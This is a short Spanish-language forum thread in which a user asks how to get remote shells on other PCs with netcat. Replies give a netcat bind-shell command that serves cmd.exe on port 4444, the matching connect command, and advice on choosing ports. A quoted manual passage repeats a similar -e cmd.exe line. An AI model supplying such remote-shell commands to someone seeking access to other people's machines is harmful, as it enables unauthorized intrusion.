Duada con netcat

[anderetxebe]

Hola amigos,

bueno tengo una duda con el programa netcat,

si pongo en ms-dos:    nc -l -p 80 xxx.xxx.xxx.xx 80 -t -e cmd.exe

conseguiré una shell remota del pc??

me han dixo q si, pero no estoy seguro

bueno espero vuestra respuesta dewwwwwwww

agur

[DarkAngel]

sería algo asi:

nc -L -p 4444 -e cmd.exe

con eso, dejaras en la maquina que pongas eso el puerto "4444" a la escucha de cualquier coneccion, y si alguien se conecta le salatara la cmd de aquella maquina.
Para conectarte a dicha maquina, tendrias que poner

nc 127.0.0.1 4444

lo primero es la ip y posteriormente el puerto.

[anderetxebe]

Donde pone 127.0.0.1 tendria que poner la ip de la otra persona no?

y si pongo:  nc ip 80

funcionaría x lo q tu dices??? esq en un manual que vi ponia esto:

Shell Remota

Obtener un Shell rapidamente en una maquina remota usando la
opcion -l (Listen) conjuntamente con la opcion -e (ejecutar) , cuando el
proggie corre con estas variables y la coneccion es realizada, NetCat
ejecuta el programa elegido y se conecta a stdin y stdout del programa
en la coneccion la red.

    nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

entonces pensé q podría servir en vez de con el 23 , con el 80 q tos los pcs tienen abierto...

bueno espero que puedan ayudarme a conseguir shells remotas

thanks de antemano y dewwwwwww

[NodVeK]

entonces pensé q podría servir en vez de con el 23 , con el 80 q tos los pcs tienen abierto...

OMG!! 

El 80 sólo lo tienen abierto, por lo general,  los servidores web, si un usuario común lo tiene abierto es bastante peligroso. El 80 suele estar abierto en casi todos los FRW, eso si, ya que es un puerto bastante común de tráfico, por eso los troyanos de conexión inversa suelen lanzarse a través del 80.

[anderetxebe]

Entonces q puerto debería poner'??


cualquiera abierto=??? o alguno en especial??

gracias x vuestra ayuda a todos


dwwwwwwwww

[NodVeK]

Cualquiera que no esté ya en uso por otro servicio. Si es un puerto cuyo número es menor o igual a 1024 necesitarás privilegios altos.

[anderetxebe]

Ok gracias duda solucionada

thanks nodvek


dewwwwwwwwww